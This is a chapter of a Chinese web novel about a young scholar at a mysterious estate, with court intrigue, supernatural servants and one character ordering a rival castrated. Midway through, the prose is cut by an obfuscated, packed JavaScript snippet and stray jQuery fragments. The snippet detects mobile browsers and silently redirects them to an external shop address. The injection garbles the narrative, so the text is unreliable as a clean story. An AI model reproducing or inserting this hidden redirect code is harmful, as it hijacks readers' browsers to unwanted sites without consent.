绛苏见齐锦意变了脸色,小心问道:“三爷,怎么了,这字条里写了什么?”

    “你自己看。”

    齐锦意将字条丢给她,绛苏接过来一看,上面只写了一句话。

    “世子好美色,欲逼.奸梅郎君,将其劫掠入府。”

    “安平世子好大的胆子!”

    得知真相,绛苏恼怒不已,梅郎君可是三爷看上的人,那就是自己人,他们的人,岂能任人欺辱,别说三爷了,便是她也忍不了这口气!

    她恶狠狠道:“三爷,您想让这狗贼怎么死?奴婢亲自去办。”

    “先不着急弄死,不然太便宜他了。”

    齐锦意露出一抹阴狠歹毒的笑容:“去,告诉外头的人,把安平世子阉了,割下来的玩意丢了喂狗。”

    “是!还得是三爷有法子。”

    绛苏转怒为喜,嘻嘻笑着领命去了。

    她走后,齐锦意也没回屋,独自坐在廊下吹冷风。

    他想起梅庭月脱下亵.裤的时候,露出了裹着小腿的纱布,就是为了逃命划伤的,过了这么多天还没好,可见伤得不轻。

    咬一口都娇气地喊疼,那晚受了那么重的伤,得哭成什么样?

    齐锦意生出了难以言喻的感觉,有点酸,有点疼,弄得他心里很不舒服,愈发烦躁起来。

    就这样坐到将将天亮,他才回到屋中。

    清晨。

    梅庭月睁开眼睛,只觉得头脑一片迷蒙,昏昏沉沉的,好一会才彻底醒来。

    颈侧的刺痛令他不适地蹙起秀眉,窸窸窣窣地从被子里抽出手,伸手摸了摸,指尖染上了药酒的气味。

    床帐被人从外面拨开,是丽娘听到动静,来看看梅庭月:“郎君醒啦。”

    她招呼小婢女端来温热的槐花蜜水,扶起梅庭月饮用。

    喝过蜜水,梅庭月感觉自己好多了,这才有精力注意到自己正待在一间陌生的卧房。

    “我们这是在哪儿?”他好奇地问。

    丽娘笑了笑,告诉他这里是明章君的院子。

    “昨夜郎君在筵席上昏睡过去,大公子听闻后,亲自将郎君接了回来,又为郎君更衣梳洗,旁人就是想插手都不行呢。”

    梅庭月只记得自己被齐锦意咬了一口,之后便全无记忆,更无被明章君照顾的印象,闻言很是不好意思,觉得自己又给明章君添麻烦了。

    正好,他本就打算今日拜访明章君,一会就过去吧。

    用过早膳,梅庭月收拾妥当,前往明章君的书房。

    书房中,禅悦香徐徐燃烧着,清幽宁静。

    明章君立于书案前作画,低垂着眉眼,只凭声音便知梅庭月来了,含笑道:“来,庭月,帮我看看画得怎么样。”

    梅庭月依言上前,看清了明章君的画,是一幅幽居图。

    画中的庭院苍松与翠竹交相掩映,茅屋门扉敞开,窗前,年轻的学子埋头苦读,书页被清风吹乱,却搅扰不了学子的专注。

    整幅画笔墨苍润挺秀,可谓“意得神传,笔精形似”,是不可多得的佳作。

    明章君换笔题诗,上书:“尘从侵砚席,苔任满庭墀。”

    写完落款,他盖下两方印章,一印为“明章君”,一印为“贺琮私印”。

    明章君修长的手指拂过印记,解释道:“我名唤贺琮。”

    他抬起眼眸,温柔地望向梅庭月:“若庭月喜欢,我将这幅画赠与你可好?”

    梅庭月的脸彻底红了。

    “尘从侵砚席,苔任满庭墀。”

    这句诗的意思是,读书须恬淡无欲、心同止水,任凭尘埃落在砚台和坐席上、苔藓生满台阶和庭院,一以贯之,无为尘俗所扰。

    他明白,这是明章君在委婉地劝勉他,勿要因贪玩而荒废课业、浪费时光。

    想起昨晚的荒唐,再想想双亲对他的殷殷期盼,梅庭月更是汗颜,连脖颈都红了,向贺琮深深行礼:“多谢大公子提点,庭月受教了。”

    见他领悟,贺琮微笑道:“许是我多事了,你没生我的气就好。”

    梅庭月忙否认:“怎会。”

    贺琮请他落座,待幽居图墨迹干透后,婢女小心翼翼地将画捧下去,送去装裱,月余后装裱完成,就可以交给梅庭月了。

    梅庭月面红耳热地低头喝茶,贺琮凝视着他粉粉的雪颈,走到他身边,很轻地碰了碰颈上的咬痕:“还疼吗?”

    齐锦意下口很重,虽未咬破,皮肉也肿得厉害,透出一片红紫,瞧着可怜得紧,贺琮为梅庭月涂了药酒,经过一夜,这会倒是好多了。

    受他触碰,梅庭月愈发害羞,轻轻摇头:“不疼了。”

    他鼓起勇气抬头,感激地望着贺琮:“大公子救我性命,处处照拂于我,又为我指点迷津,使我迷途知返,我真是不知该如何报答你的恩情。”

    贺琮垂眸,漆黑的瞳孔映出梅庭月秀美的面容,和那充满仰慕的表情。

    他轻轻笑了。

    “总会有机会的。”他温和地回应。

    傍晚。

    齐锦意来找梅庭月,却没被允许进入贺琮的院子,铩羽而归了。

    梅庭月并不知道他曾来过,正坐在书案前撰写游记,记录自己来到三川别业后的见闻。

    游记中,他不吝溢美之词,大加称赞别业主人,夸得最多的是贺琮,也有不少笔墨是称赞齐锦意的。

    至于二公子曲九郎,他接触太少,又因那日的会面印象深刻,他从心底畏惧曲九郎,便几乎没有着墨,只是夸赞了一番对方清冷出众的相貌。

    涂涂抹抹,终于写完。

    梅庭月通读一遍,自觉还算满意,便在信纸上誊写两份,一份寄往家中,一份寄往临虚宫,让寄真也看看他最近过得还挺不错。

    翌日。

    天色阴得厉害,但还没有下雨,梅庭月没有带伞,在两个仆人的引领下,去往藏书楼。

    昨日离开书房前,贺琮又送给梅庭月一张精巧的木牌,凭此木牌,可以自由出入府中的藏书楼,观览所有藏书。

    凡藏书楼,必是重金修建,从不轻易向外人开放。

    梅庭月收到木牌,眼睛酸酸的,不仅是为了能够看到珍贵的典籍和绝版孤本,更是为了贺琮对他的喜爱、信任,和为他着想的良苦用心。

    他何其有幸,才能遇到大公子这样好的人。

    时辰尚早,藏书楼距离也不远,梅庭月没有坐马车,慢慢地走向藏书楼。

    忽然,他听到一阵喧闹声传来,伴随着尖利的嘶叫:“吃了它!”

    一只白猫从草丛中跳了出来,惊惶窜逃,几个仆婢在它身后一路追逐,面露狞色,口中叫嚷不断。

    白猫瘦瘦小小的,速度却飞快,渐渐将几人越甩越远。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779257|210075||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >眼见着就要追不上它了,一仆人竟突然前肢着地,手足并用地奔跑奔起来,喉咙里发出低沉咆哮,不一会便飞扑上前,一把将白猫按在掌下!

    他张嘴撕咬白猫,第一下咬中了白猫的尾巴尖,却没咬到肉,正要咬上第二口,耳边响起了惊恐的质问:“你……你这是做什么?”

    梅庭月脸色发白,满眼骇然,只觉得这仆人哪还像人,简直就是一头畜生。

    就算白马口吐人言是他的幻觉,可这个人呢?难道也是他的幻觉吗?

    他话音一落。

    几个仆婢的目光齐齐汇聚在他身上。

    他们的眼珠一缩一缩的,露出大片眼白,眼神阴狠、狞恶,像饿鬼盯着血淋淋的肉块。

    梅庭月浑身泛起凉气,跟随他的两个仆人挡在他身前,厉声呵斥那几人:“你们疯了?还不快滚!”

    几人好像没听见,依然直勾勾地盯着梅庭月,朝他走出几步。

    “叮铃……叮铃……”

    鸾铃声清越响动。

    沉重漆黑的步辇缓缓逼近,四角垂落的鸾铃轻轻晃动着。

    听到铃铛声,几个鬼附身般的仆婢纷纷僵住,表情发生变化,露出了迷茫之色,恍如大梦初醒。

    步辇落地。

    一只苍白的手掀开黑缎帷幔,曲九郎视线冰冷,似寒光射向那几人。

    “见……见过二公子!”几人慌忙跪倒在地。

    那爬行的仆人也放开白猫,抖若筛糠地磕头求饶:“见过二公子,小的知错了,小的再也不敢了,求二公子饶了小的这一回吧!”

    曲九郎薄唇微启,声如冷泉击玉:“十鞭。都下去领罚。”

    “谢二公子开恩!”

    明明是受十鞭的酷刑,几人却如获大赦,感恩戴德地被二公子的仆人押下去了。

    白猫重获自由,害怕地跳进梅庭月怀里,梅庭月抱着猫,怔怔看着这一幕,久久不能回神。

    “轰隆……”

    沉闷雷声过后,雨丝细密落下,淋湿了梅庭月。

    他的睫毛挂着水珠,柔软的唇瓣失去血色,身形纤细荏弱,摇摇欲坠,仿佛风一吹就倒,比他怀中的猫儿还要可怜。

    曲九郎静静地注视他片刻,开口道:“上来。”

    梅庭月颤了颤睫毛,怯怯看向他,神色犹带迟疑。

    曲九郎似乎失去了耐心,收手放下帷幔:“带他上来。”

    婢女们请梅庭月上了步辇。

    步辇被帷幔包裹得密不透风,也照不进阳光,但步辇里点了灯,不算黑暗,也挺宽敞的。

    梅庭月浑身滴水,拘谨地坐在最边缘的位置,小心地拧去衣摆的雨水,尽量不弄湿步辇,白猫趴在他腿上,舔舐湿漉漉的毛,一人一猫颇为相似。

    曲九郎看了一会,问道:“你怕我?”

    梅庭月心里一紧。

    他是有点怕,只是才被人家救下来,怎可说怕,那也太失礼了。

    “我……不怕二公子。”他低下头,结结巴巴地回答。

    “不怕?”曲九郎声音微沉,“你不怕我?”

    听出他的不满,梅庭月更紧张了:“对不起,是我失言了,我怕、我怕的……”

    “怕就对了。”

    曲九郎语气稍缓,却依旧冷冰冰的。

    “既然怕我,就尽快离开,这里不是你能待的地方。”